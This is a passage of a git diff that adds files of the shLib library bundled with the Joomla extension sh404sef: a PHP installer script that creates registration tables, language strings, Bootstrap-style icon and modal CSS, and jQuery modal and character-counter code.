self::MIN_JOOMLA_VERSION, self::MAX_JOOMLA_VERSION, JVERSION)); + return false; + } + } + } + + public function postflight($type, $parent) { + + } + + /** + * Things that don't fit elsewhere + */ + protected function _hacks() { + + // Josetta registration + // First versions of Josetta used shLib, but a version prior + // to the addition of the resource manager. Therefore when + // installing an extension (sh404sef) using shLib on a site + // running an old version of Josetta (pre-1.3.0), Josetta + // does not register itself. Thus uninstalling sh404sef, in that example, + // may result in uninstalling also shLIb, and breaking Josetta + // so if Josetta is installed on that site, we make sure + // there's an entry for it in the registration table + $path = JPATH_ROOT . '/administrator/components/com_josetta/index.html'; + jimport( 'joomla.filesystem.file'); + if(JFile::exists( $path)) { + try { + // do we have a record? + $db = JFactory::getDBO(); + $query = $db->getQuery( true); + $query->select( '*')->from('#__shlib_consumers'); + $query->where( $db->quoteName('resource') . '=' . $db->quote( 'shlib')); + $query->where( $db->quoteName('context') . '=' . $db->quote( 'com_josetta')); + $existingRecord = $db->setQuery( $query)->loadObject(); + + // if not, create one + if(empty( $existingRecord)) { + $query->clear(); + $query->insert( '#__shlib_consumers'); + $query->set( $db->quoteName('resource') . '=' . $db->quote( 'shlib')); + $query->set( $db->quoteName('context') . '=' . $db->quote( 'com_josetta')); + $db->setQuery( $query)->execute(); + } + } catch (Exception $e) { + if(class_exists( 'ShlSystem_Log') && method_exists( 'ShlSystem_Log', 'error')) { + ShlSystem_Log::error( 'shlib', '%s::%s::%d: %s', __CLASS__, __METHOD__, __LINE__, $e->getMessage()); + } + return false; + } + } + } + + /** + * Create database table needed to register/unregister + * resource shared by several extensions + * + * @throws Exception + */ + protected function _updateDbStructure() { + + $query1 = "CREATE TABLE IF NOT EXISTS `#__shlib_consumers` ( + `id` int(10) unsigned NOT NULL AUTO_INCREMENT, + `resource` varchar(50) NOT NULL DEFAULT '', + `context` varchar(50) NOT NULL DEFAULT '', + `min_version` varchar(20) NOT NULL DEFAULT '0', + `max_version` varchar(20) NOT NULL DEFAULT '0', + `refuse_versions` varchar(255) NOT NULL DEFAULT '', + `accept_versions` varchar(255) NOT NULL DEFAULT '', + PRIMARY KEY (`id`), + KEY `idx_context` (`context`) + ) DEFAULT CHARSET=utf8;"; + + $query2 = "CREATE TABLE IF NOT EXISTS `#__shlib_resources` ( + `id` int(10) unsigned NOT NULL AUTO_INCREMENT, + `resource` varchar(50) NOT NULL DEFAULT '', + `current_version` varchar(20) NOT NULL DEFAULT '0', + PRIMARY KEY (`id`), + KEY `idx_resource` (`resource`) + ) DEFAULT CHARSET=utf8;"; + + // run query + try { + $db = JFactory::getDBO(); + $db->setQuery( $query1); + $db->query(); + $error = $db->getErrorNum(); + if(!empty( $error)) { + throw new Exception( $db->getErrorMsg()); + } + $db->setQuery( $query2); + $db->query(); + $error = $db->getErrorNum(); + if(!empty( $error)) { + throw new Exception( $db->getErrorMsg()); + } + + } catch( Exception $e) { + $app = JFactory::getApplication(); + $app->enqueueMessage( 'Error while creating/upgrading the database : ' . $e->getMessage() + . '.
    shLib will probably not operate properly. Please uninstall it, then try again after checking your database server setup. Contact us in case this happens again.'); + } + } +} \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/language/en-GB/en-GB.plg_system_shlib.ini b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/language/en-GB/en-GB.plg_system_shlib.ini new file mode 100644 index 00000000..1a301f54 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/language/en-GB/en-GB.plg_system_shlib.ini @@ -0,0 +1,16 @@ +; +; Shlib - programming library +; +; @author Yannick Gaultier +; @copyright (c) Yannick Gaultier 2013 +; @package shlib +; @license http://www.gnu.org/copyleft/gpl.html GNU/GPL +; @version 0.2.9.370 +; @date 2014-06-11 +; + +PLG_SHLIB_EMAIL_DEFAULT_SUBJECT="ShLib running at %s" +PLG_SHLIB_EMAIL_DEFAULT_BODY="This is ShLib extension running at %.
    Please check log files on the server. A message with no body text is being sent, which is probably the sign of a problem!
    " +PLG_SHLIB_ADMIN_ALERT_SUBJECT="ALERT: from %s" +PLG_SHLIB_ADMIN_ALERT_BODY="Hello %s!
    This is the shlib web site software running at %s. The following message has been logged with a log level requiring notification:
    %s


    Thank you!

    " +PLG_SHLIB_CHAR_COUNTER="Show recommended character count: stay green!" diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/language/en-GB/en-GB.plg_system_shlib.sys.ini b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/language/en-GB/en-GB.plg_system_shlib.sys.ini new file mode 100644 index 00000000..18bf3106 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/language/en-GB/en-GB.plg_system_shlib.sys.ini @@ -0,0 +1,13 @@ +; +; Shlib - programming library +; +; @author Yannick Gaultier +; @copyright (c) Yannick Gaultier 2013 +; @package shlib +; @license http://www.gnu.org/copyleft/gpl.html GNU/GPL +; @version 0.2.9.370 +; @date 2014-06-11 +; + +PLG_SYSTEM_SHLIB="shlib - Db query cache and programming library" +PLG_SYSTEM_SHLIB_DESC="Database query caching and programming library" diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/language/en-GB/index.html b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/language/en-GB/index.html new file mode 100644 index 00000000..2efb97f3 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/language/en-GB/index.html @@ -0,0 +1 @@ + diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/language/index.html b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/language/index.html new file mode 100644 index 00000000..2efb97f3 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/language/index.html @@ -0,0 +1 @@ + diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/media/index.html b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/media/index.html new file mode 100644 index 00000000..fa6d84e8 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/media/index.html @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/media/shlib/css/bs.css b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/media/shlib/css/bs.css new file mode 100644 index 00000000..6f95fb38 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/media/shlib/css/bs.css @@ -0,0 +1,647 @@ +/** + * Shlib - programming library + * + * @author Yannick Gaultier + * @copyright (c) Yannick Gaultier 2013 + * @package shlib + * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL + * @version 0.2.9.370 + * @date 2014-06-11 + */ +[class^="shl-icon"],[class*=" shl-icon"] { + display: inline-block; + width: 14px; + height: 14px; + *margin-right: .3em; + line-height: 14px; + vertical-align: text-top; + background-image: url("../../jui/img/glyphicons-halflings.png"); + background-position: 14px 14px; + background-repeat: no-repeat; + margin-top: 1px; +} + +.shl-icon-glass { + background-position: 0 0; +} + +.shl-icon-music { + background-position: -24px 0; +} + +.shl-icon-search { + background-position: -48px 0; +} + +.shl-icon-envelope { + background-position: -72px 0; +} + +.shl-icon-heart { + background-position: -96px 0; +} + +.shl-icon-star { + background-position: -120px 0; +} + +.shl-icon-star-empty { + background-position: -144px 0; +} + +.shl-icon-user { + background-position: -168px 0; +} + +.shl-icon-film { + background-position: -192px 0; +} + +.shl-icon-th-large { + background-position: -216px 0; +} + +.shl-icon-th { + background-position: -240px 0; +} + +.shl-icon-th-list { + background-position: -264px 0; +} + +.shl-icon-ok { + background-position: -288px 0; +} + +.shl-icon-remove { + background-position: -312px 0; +} + +.shl-icon-zoom-in { + background-position: -336px 0; +} + +.shl-icon-zoom-out { + background-position: -360px 0; +} + +.shl-icon-off { + background-position: -384px 0; +} + +.shl-icon-signal { + background-position: -408px 0; +} + +.shl-icon-cog { + background-position: -432px 0; +} + +.shl-icon-trash { + background-position: -456px 0; +} + +.shl-icon-home { + background-position: 0 -24px; +} + +.shl-icon-file { + background-position: -24px -24px; +} + +.shl-icon-time { + background-position: -48px -24px; +} + +.shl-icon-road { + background-position: -72px -24px; +} + +.shl-icon-download-alt { + background-position: -96px -24px; +} + +.shl-icon-download { + background-position: -120px -24px; +} + +.shl-icon-upload { + background-position: -144px -24px; +} + +.shl-icon-inbox { + background-position: -168px -24px; +} + +.shl-icon-play-circle { + background-position: -192px -24px; +} + +.shl-icon-repeat { + background-position: -216px -24px; +} + +.shl-icon-refresh { + background-position: -240px -24px; +} + +.shl-icon-list-alt { + background-position: -264px -24px; +} + +.shl-icon-lock { + background-position: -287px -24px; +} + +.shl-icon-flag { + background-position: -312px -24px; +} + +.shl-icon-headphones { + background-position: -336px -24px; +} + +.shl-icon-volume-off { + background-position: -360px -24px; +} + +.shl-icon-volume-down { + background-position: -384px -24px; +} + +.shl-icon-volume-up { + background-position: -408px -24px; +} + +.shl-icon-qrcode { + background-position: -432px -24px; +} + +.shl-icon-barcode { + background-position: -456px -24px; +} + +.shl-icon-tag { + background-position: 0 -48px; +} + +.shl-icon-tags { + background-position: -25px -48px; +} + +.shl-icon-book { + background-position: -48px -48px; +} + +.shl-icon-bookmark { + background-position: -72px -48px; +} + +.shl-icon-print { + background-position: -96px -48px; +} + +.shl-icon-camera { + background-position: -120px -48px; +} + +.shl-icon-font { + background-position: -144px -48px; +} + +.shl-icon-bold { + background-position: -167px -48px; +} + +.shl-icon-italic { + background-position: -192px -48px; +} + +.shl-icon-text-height { + background-position: -216px -48px; +} + +.shl-icon-text-width { + background-position: -240px -48px; +} + +.shl-icon-align-left { + background-position: -264px -48px; +} + +.shl-icon-align-center { + background-position: -288px -48px; +} + +.shl-icon-align-right { + background-position: -312px -48px; +} + +.shl-icon-align-justify { + background-position: -336px -48px; +} + +.shl-icon-list { + background-position: -360px -48px; +} + +.shl-icon-indent-left { + background-position: -384px -48px; +} + +.shl-icon-indent-right { + background-position: -408px -48px; +} + +.shl-icon-facetime-video { + background-position: -432px -48px; +} + +.shl-icon-picture { + background-position: -456px -48px; +} + +.shl-icon-pencil { + background-position: 0 -72px; +} + +.shl-icon-map-marker { + background-position: -24px -72px; +} + +.shl-icon-adjust { + background-position: -48px -72px; +} + +.shl-icon-tint { + background-position: -72px -72px; +} + +.shl-icon-edit { + background-position: -96px -72px; +} + +.shl-icon-share { + background-position: -120px -72px; +} + +.shl-icon-check { + background-position: -144px -72px; +} + +.shl-icon-move { + background-position: -168px -72px; +} + +.shl-icon-step-backward { + background-position: -192px -72px; +} + +.shl-icon-fast-backward { + background-position: -216px -72px; +} + +.shl-icon-backward { + background-position: -240px -72px; +} + +.shl-icon-play { + background-position: -264px -72px; +} + +.shl-icon-pause { + background-position: -288px -72px; +} + +.shl-icon-stop { + background-position: -312px -72px; +} + +.shl-icon-forward { + background-position: -336px -72px; +} + +.shl-icon-fast-forward { + background-position: -360px -72px; +} + +.shl-icon-step-forward { + background-position: -384px -72px; +} + +.shl-icon-eject { + background-position: -408px -72px; +} + +.shl-icon-chevron-left { + background-position: -432px -72px; +} + +.shl-icon-chevron-right { + background-position: -456px -72px; +} + +.shl-icon-plus-sign { + background-position: 0 -96px; +} + +.shl-icon-minus-sign { + background-position: -24px -96px; +} + +.shl-icon-remove-sign { + background-position: -48px -96px; +} + +.shl-icon-ok-sign { + background-position: -72px -96px; +} + +.shl-icon-question-sign { + background-position: -96px -96px; +} + +.shl-icon-info-sign { + background-position: -120px -96px; +} + +.shl-icon-screenshot { + background-position: -144px -96px; +} + +.shl-icon-remove-circle { + background-position: -168px -96px; +} + +.shl-icon-ok-circle { + background-position: -192px -96px; +} + +.shl-icon-ban-circle { + background-position: -216px -96px; +} + +.shl-icon-arrow-left { + background-position: -240px -96px; +} + +.shl-icon-arrow-right { + background-position: -264px -96px; +} + +.shl-icon-arrow-up { + background-position: -289px -96px; +} + +.shl-icon-arrow-down { + background-position: -312px -96px; +} + +.shl-icon-share-alt { + background-position: -336px -96px; +} + +.shl-icon-resize-full { + background-position: -360px -96px; +} + +.shl-icon-resize-small { + background-position: -384px -96px; +} + +.shl-icon-plus { + background-position: -408px -96px; +} + +.shl-icon-minus { + background-position: -433px -96px; +} + +.shl-icon-asterisk { + background-position: -456px -96px; +} + +.shl-icon-exclamation-sign { + background-position: 0 -120px; +} + +.shl-icon-gift { + background-position: -24px -120px; +} + +.shl-icon-leaf { + background-position: -48px -120px; +} + +.shl-icon-fire { + background-position: -72px -120px; +} + +.shl-icon-eye-open { + background-position: -96px -120px; +} + +.shl-icon-eye-close { + background-position: -120px -120px; +} + +.shl-icon-warning-sign { + background-position: -144px -120px; +} + +.shl-icon-plane { + background-position: -168px -120px; +} + +.shl-icon-calendar { + background-position: -192px -120px; +} + +.shl-icon-random { + background-position: -216px -120px; + width: 16px; +} + +.shl-icon-comment { + background-position: -240px -120px; +} + +.shl-icon-magnet { + background-position: -264px -120px; +} + +.shl-icon-chevron-up { + background-position: -288px -120px; +} + +.shl-icon-chevron-down { + background-position: -313px -119px; +} + +.shl-icon-retweet { + background-position: -336px -120px; +} + +.shl-icon-shopping-cart { + background-position: -360px -120px; +} + +.shl-icon-folder-close { + background-position: -384px -120px; +} + +.shl-icon-folder-open { + background-position: -408px -120px; + width: 16px; +} + +.shl-icon-resize-vertical { + background-position: -432px -119px; +} + +.shl-icon-resize-horizontal { + background-position: -456px -118px; +} + +.shl-icon-hdd { + background-position: 0 -144px; +} + +.shl-icon-bullhorn { + background-position: -24px -144px; +} + +.shl-icon-bell { + background-position: -48px -144px; +} + +.shl-icon-certificate { + background-position: -72px -144px; +} + +.shl-icon-thumbs-up { + background-position: -96px -144px; +} + +.shl-icon-thumbs-down { + background-position: -120px -144px; +} + +.shl-icon-hand-right { + background-position: -144px -144px; +} + +.shl-icon-hand-left { + background-position: -168px -144px; +} + +.shl-icon-hand-up { + background-position: -192px -144px; +} + +.shl-icon-hand-down { + background-position: -216px -144px; +} + +.shl-icon-circle-arrow-right { + background-position: -240px -144px; +} + +.shl-icon-circle-arrow-left { + background-position: -264px -144px; +} + +.shl-icon-circle-arrow-up { + background-position: -288px -144px; +} + +.shl-icon-circle-arrow-down { + background-position: -312px -144px; +} + +.shl-icon-globe { + background-position: -336px -144px; +} + +.shl-icon-wrench { + background-position: -360px -144px; +} + +.shl-icon-tasks { + background-position: -384px -144px; +} + +.shl-icon-filter { + background-position: -408px -144px; +} + +.shl-icon-briefcase { + background-position: -432px -144px; +} + +.shl-icon-fullscreen { + background-position: -456px -144px; +} + +span.label-large,span.badge-large { + font-size: 14px; + line-height: 18px; +} + +div.alert-centered { + text-align: center; +} + +/* Input counters */ +div.shl-char-counter { + margin-left: 0.2em; + width: 2em; + position: absolute; + bottom: 0.5em; + left: 0.5em; +} + +div.shl-char-counter-one-line { + margin-left: 0.2em; + width: 2em; + position: absolute; + bottom: 0.5em; + right: -0.5em; +} + +div.shl-char-counter-title-joomla-be { + margin-left: 0.2em; + width: 2em; + position: absolute; + bottom: 3em; + right: 0em; +} + +div.shl-char-counter-desc-joomla-be { + margin-left: 0.2em; + width: 2em; + position: absolute; + bottom: 0.5em; + right: -4em; +} + +@media ( max-width : 480px) { + div.shl-char-counter-one-line { + margin-left: 0.2em; + width: 2em; + position: absolute; + bottom: 3em ! important; + right: 3em! important; + } +} + +span.shl-char-counter { + position: relative; +} + +div.shl-char-counter-wrapper { + position: relative; + display: inline-block; width : auto; + height: auto; + width: auto; +} diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/media/shlib/css/index.html b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/media/shlib/css/index.html new file mode 100644 index 00000000..fa6d84e8 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/media/shlib/css/index.html @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/media/shlib/css/modal.css b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/media/shlib/css/modal.css new file mode 100644 index 00000000..4bea19a9 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/media/shlib/css/modal.css @@ -0,0 +1,161 @@ +/** + * Shlib - programming library + * + * @author Yannick Gaultier + * @copyright (c) Yannick Gaultier 2013 + * @package shlib + * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL + * @version 0.2.9.370 + * @date 2014-06-11 + */ + +/** +Default template css use a last-child selector for toolbar button +which prevents adding modal div and script in such buttons +Directly use a button.btn selector instead +*/ +.btn-group > button.btn { + border-bottom-right-radius: 4px; + border-top-right-radius: 4px; +} + +/** + replacement classes to modal css, to by-pass limitations in + default J3 templates (max-width, max-height, iframe shadows + **/ +.shmodal-open .dropdown-menu { + z-index: 2050; +} + +.shmodal-open .dropdown.open { + *z-index: 2050; +} + +.shmodal-open .popover { + z-index: 2060; +} + +.shmodal-open .tooltip { + z-index: 2080; +} + +div.modal-backdrop { + position: fixed; + top: 0; + right: 0; + bottom: 0; + left: 0; + z-index: 1040; + background-color: #000; +} + +div.modal-backdrop.fade { + opacity: 0; +} + +div.modal-backdrop,div.modal-backdrop.fade.in { + opacity: 0.5; + filter: alpha(opacity = 50); +} + +div.shmodal { + position: fixed; + top: 50%; + left: 50%; + z-index: 1050; + overflow: auto; + /*width: 560px;*/ + /*margin: -250px 0 0 -280px;*/ + background-color: #fff; + border: 1px solid #999; + border: 1px solid rgba(0, 0, 0, 0.3); + *border: 1px solid #999; + -webkit-border-radius: 6px; + -moz-border-radius: 6px; + border-radius: 6px; + -webkit-box-shadow: 0 3px 7px rgba(0, 0, 0, 0.3); + -moz-box-shadow: 0 3px 7px rgba(0, 0, 0, 0.3); + box-shadow: 0 3px 7px rgba(0, 0, 0, 0.3); + -webkit-background-clip: padding-box; + -moz-background-clip: padding-box; + background-clip: padding-box; +} + +div.shmodal.fade { + -webkit-transition: opacity .3s linear, top .3s ease-out; + -moz-transition: opacity .3s linear, top .3s ease-out; + -o-transition: opacity .3s linear, top .3s ease-out; + transition: opacity .3s linear, top .3s ease-out; + top: -25%; +} + +div.shmodal.fade.in { + top: 50%; +} + +.shmodal-header { + border-bottom: 1px solid #eee; + padding: 4px 8px; +} + +.shmodal-header .close { +} + +.shmodal-header h3 { + margin: 0; + line-height: 30px; +} + +.shmodal-body { + overflow-y: auto; + /*max-height: 400px;*/ + padding: 15px; +} + +.shmodal-form { + margin-bottom: 0; +} + +.shmodal-footer { + padding: 14px 15px 15px; + margin-bottom: 0; + text-align: right; + background-color: #f5f5f5; + border-top: 1px solid #ddd; + -webkit-border-radius: 0 0 6px 6px; + -moz-border-radius: 0 0 6px 6px; + border-radius: 0 0 6px 6px; + -webkit-box-shadow: inset 0 1px 0 #fff; + -moz-box-shadow: inset 0 1px 0 #fff; + box-shadow: inset 0 1px 0 #fff; + *zoom: 1; +} + +.shmodal-footer:before,.shmodal-footer:after { + display: table; + content: ""; + line-height: 0; +} + +.shmodal-footer:after { + clear: both; +} + +.shmodal-footer .btn+.btn { + margin-left: 5px; + margin-bottom: 0; +} + +.shmodal-footer .btn-group .btn+.btn { + margin-left: -1px; +} + +/** overrides for non-modal classes */ +.shmodal-body iframe { + border: none; + padding: 0; + margin: 0; + /* display block instead of inline, to avoid +extra space added at end of iframe */ + display: block; +} diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/media/shlib/css/modalfix.css b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/media/shlib/css/modalfix.css new file mode 100644 index 00000000..8fe06975 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/media/shlib/css/modalfix.css @@ -0,0 +1,19 @@ +/** + * Shlib - programming library + * + * @author Yannick Gaultier + * @copyright (c) Yannick Gaultier 2013 + * @package shlib + * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL + * @version 0.2.9.370 + * @date 2014-06-11 + */ + +/* +Hack to prevent scrollbar appearing in popup. Seems to happen because +of height: 100% on body tag of url loaded in popup. +*/ +body { + height: 90% !important; + padding: 0 !important; +} \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/media/shlib/index.html b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/media/shlib/index.html new file mode 100644 index 00000000..fa6d84e8 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/media/shlib/index.html @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/media/shlib/js/bs.js b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/media/shlib/js/bs.js new file mode 100644 index 00000000..dc59c8a9 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/media/shlib/js/bs.js @@ -0,0 +1,353 @@ +/** + * Shlib - programming library + * + * @author Yannick Gaultier + * @copyright (c) Yannick Gaultier 2013 + * @package shlib + * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL + * @version 0.2.9.370 + * @date 2014-06-11 + */ +var shlBootstrap = (function($) { + var tmp = { + updateBootstrap : function() { + $('*[rel=tooltip]').tooltip(); + $('select').chosen({ + disable_search_threshold : 10, + allow_single_deselect : true + }); + + // Turn radios into btn-group + $('.radio.btn-group label').addClass('btn'); + $(".btn-group label:not(.active)").click(function() { + var label = $(this); + var input = $('#' + label.attr('for')); + + if (!input.prop('checked')) { + label.closest('.btn-group').find("label").removeClass('active btn-success btn-danger btn-primary'); + if (input.val() == '') { + label.addClass('active btn-primary'); + } else if (input.val() == 0) { + label.addClass('active btn-danger'); + } else { + label.addClass('active btn-success'); + } + input.prop('checked', true); + } + }); + $(".btn-group input[checked=checked]").each(function() { + if ($(this).val() == '') { + $("label[for=" + $(this).attr('id') + "]").addClass('active btn-primary'); + } else if ($(this).val() == 0) { + $("label[for=" + $(this).attr('id') + "]").addClass('active btn-danger'); + } else { + $("label[for=" + $(this).attr('id') + "]").addClass('active btn-success'); + } + }); + }, + + /** Modals handling */ + canOpenModal : true, + modals : {}, + modalTemplate : "
    {%title%}
    ", + + selectedIdsUrl : '', + + setSelectedIdsUrl : function(ids) { + shlBootstrap.selectedIdsUrl = ids; + }, + + getModalUrl : function(baseUrl) { + return baseUrl + shlBootstrap.selectedIdsUrl; + }, + + closeModal : function() { + var el = $('div.shmodal-header button.close'); + el.click(); + }, + + setModalTitleFromModal : function(title) { + var el = window.parent.jQuery('div.shmodal-header:visible'); + el.html('

    ' + title + '

    '); + }, + + registerModal : function(modal) { + var tmp = {}; + tmp = $.extend({ + selector : '', + title : '', + url : '', + width : 0.5, + height : 0.5, + onclose : '', + footer : '', + backdrop : true, + keyboard : false + }, modal); + + // then store + shlBootstrap.modals[tmp.selector] = tmp; + }, + + renderModal : function(index, modal) { + // insert modal markup in page + $(shlBootstrap.modalTemplate.replace(new RegExp('{%selector%}', 'g'), modal.selector).replace('{%title%}', modal.title ? '

    '+modal.title+'

    ' : ' ')) + .appendTo('#shl-modals-container'); + + // add an onshow handler + $('#' + modal.selector).on( + 'show', + function() { + if (!shlBootstrap.canOpenModal) + return false; + var modalOptions = shlBootstrap.modals[this.id]; + // compute width and heigth + var mW = modalOptions.width < 1 ? $(window).width() * modalOptions.width : modalOptions.width; + var mH = modalOptions.height < 1 ? $(window).height() * modalOptions.height : modalOptions.height; + var targetUrl = shlBootstrap.getModalUrl(modalOptions.url); + var modalContainer = jQuery('#' + modalOptions.selector); + jQuery('#' + modalOptions.selector + '-container').html( + '
    ' + modalOptions.footer); + var h = modalContainer.height(); + var w = modalContainer.width(); + var pageheight = jQuery(window).height(); + var pagewidth = jQuery(window).width(); + var shleft = (pagewidth - w) / 2; + var shtop = (pageheight - h) / 2; + jQuery('#' + modalOptions.selector).css({ + 'margin-top' : shtop, + 'top' : '0' + }); + jQuery('#' + modalOptions.selector).css({ + 'margin-left' : shleft, + 'left' : '0' + }); + }); + + $('#' + modal.selector).on('hide', function() { + var modalOptions = shlBootstrap.modals[this.id]; + if (modalOptions.onclose) + modalOptions.onclose(); + jQuery('#' + this.id + '-container').innerHTML = ''; + }); + + // run BS modal code + $('#' + modal.selector).modal({ + 'keyboard' : modal.keyboard, + 'backdrop' : modal.backdrop, + 'show' : false + }); + }, + + renderModals : function() { + $.each(shlBootstrap.modals, shlBootstrap.renderModal); + }, + + /* input char counters */ + inputCounters: {}, + registerInputCounter : function(counter) { + var defaults = { + maxCharacterSize: -1, + originalStyle: 'badge-success', + warningStyle: 'badge-warning', + errorStyle: 'badge-important', + warningNumber: 20, + errorNumber: 40, + displayFormat: '#left', + style: 'shl-char-counter', + title:'' + }; + counter = $.extend(defaults, counter); + + // then store + shlBootstrap.inputCounters[counter.selector] = counter; + }, + + renderInputCounters : function() { + $.each(shlBootstrap.inputCounters, shlBootstrap.renderInputCounter); + }, + + renderInputCounter : function(index, counter) { + $('#' + counter.selector).textareaCount(counter); + }, + + onReady : function() { + $("
    ").appendTo("body"); + shlBootstrap.renderModals(); + shlBootstrap.renderInputCounters(); + }, + + }; + jQuery(document).ready(tmp.onReady); + return tmp; +})(jQuery); + +/* + * jQuery Textarea Characters Counter Plugin v 2.0 + * Examples and documentation at: http://roy-jin.appspot.com/jsp/textareaCounter.jsp + * Copyright (c) 2010 Roy Jin + * Version: 2.0 (11-JUN-2010) + * Dual licensed under the MIT and GPL licenses: + * http://www.opensource.org/licenses/mit-license.php + * http://www.gnu.org/licenses/gpl.html + * Requires: jQuery v1.4.2 or later + */ +(function($){ + $.fn.textareaCount = function(options, fn) { + var defaults = { + maxCharacterSize: -1, + originalStyle: 'originalTextareaInfo', + warningStyle: 'warningTextareaInfo', + errorStyle: 'errorTextareaInfo', + warningNumber: 20, + errorNumber: 40, + displayFormat: '#input characters | #words words', + title:'' + }; + var options = $.extend(defaults, options); + + var container = $(this); + container.wrap("
    "); + $("
     
    ").insertAfter(container); + + var charLeftInfo = getNextCharLeftInformation(container); + charLeftInfo.addClass(options.originalStyle); + + var numInput = 0; + var maxCharacters = options.maxCharacterSize; + var numLeft = 0; + var numWords = 0; + + container.bind('keyup', function(event){limitTextAreaByCharacterCount();}) + .bind('mouseover', function(event){setTimeout(function(){limitTextAreaByCharacterCount();}, 10);}) + .bind('paste', function(event){setTimeout(function(){limitTextAreaByCharacterCount();}, 10);}); + + // initial display + limitTextAreaByCharacterCount(); + + function limitTextAreaByCharacterCount(){ + charLeftInfo.html(countByCharacters()); + //function call back + if(typeof fn != 'undefined'){ + fn.call(this, getInfo()); + } + return true; + } + + function countByCharacters(){ + var content = container.val(); + var contentLength = content.length; + + //Start Cut + if(options.maxCharacterSize > 0){ + //If copied content is already more than maxCharacterSize, chop it to maxCharacterSize. + if(contentLength >= options.maxCharacterSize) { + content = content.substring(0, options.maxCharacterSize); + } + + var newlineCount = getNewlineCount(content); + + // newlineCount new line character. For windows, it occupies 2 characters + var systemmaxCharacterSize = options.maxCharacterSize - newlineCount; + if (!isWin()){ + systemmaxCharacterSize = options.maxCharacterSize + } + if(contentLength > systemmaxCharacterSize){ + //avoid scroll bar moving + var originalScrollTopPosition = this.scrollTop; + container.val(content.substring(0, systemmaxCharacterSize)); + this.scrollTop = originalScrollTopPosition; + } + charLeftInfo.removeClass(options.warningStyle); + charLeftInfo.removeClass(options.originalStyle); + if(contentLength > options.errorNumber){ + charLeftInfo.addClass(options.errorStyle); + } else if(contentLength > options.warningNumber){ + charLeftInfo.addClass(options.warningStyle); + } else { + charLeftInfo.addClass(options.originalStyle); + } + + numInput = container.val().length + newlineCount; + if(!isWin()){ + numInput = container.val().length; + } + + numWords = countWord(getCleanedWordString(container.val())); + + numLeft = options.errorNumber - numInput; + } else { + //normal count, no cut + var newlineCount = getNewlineCount(content); + numInput = container.val().length + newlineCount; + if(!isWin()){ + numInput = container.val().length; + } + numWords = countWord(getCleanedWordString(container.val())); + } + + return formatDisplayInfo(); + } + + function formatDisplayInfo(){ + var format = options.displayFormat; + format = format.replace('#input', numInput); + format = format.replace('#words', numWords); + //When maxCharacters <= 0, #max, #left cannot be substituted. + if(maxCharacters > 0){ + format = format.replace('#max', maxCharacters); + format = format.replace('#left', numLeft); + } + return format; + } + + function getInfo(){ + var info = { + input: numInput, + max: maxCharacters, + left: numLeft, + words: numWords + }; + return info; + } + + function getNextCharLeftInformation(container){ + return container.next('.charleft'); + } + + function isWin(){ + var strOS = navigator.appVersion; + if (strOS.toLowerCase().indexOf('win') != -1){ + return true; + } + return false; + } + + function getNewlineCount(content){ + var newlineCount = 0; + for(var i=0; i \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/index.html b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/index.html new file mode 100644 index 00000000..2efb97f3 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/index.html @@ -0,0 +1 @@ + diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Exception.php b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Exception.php new file mode 100644 index 00000000..c63d02c1 --- /dev/null +++ 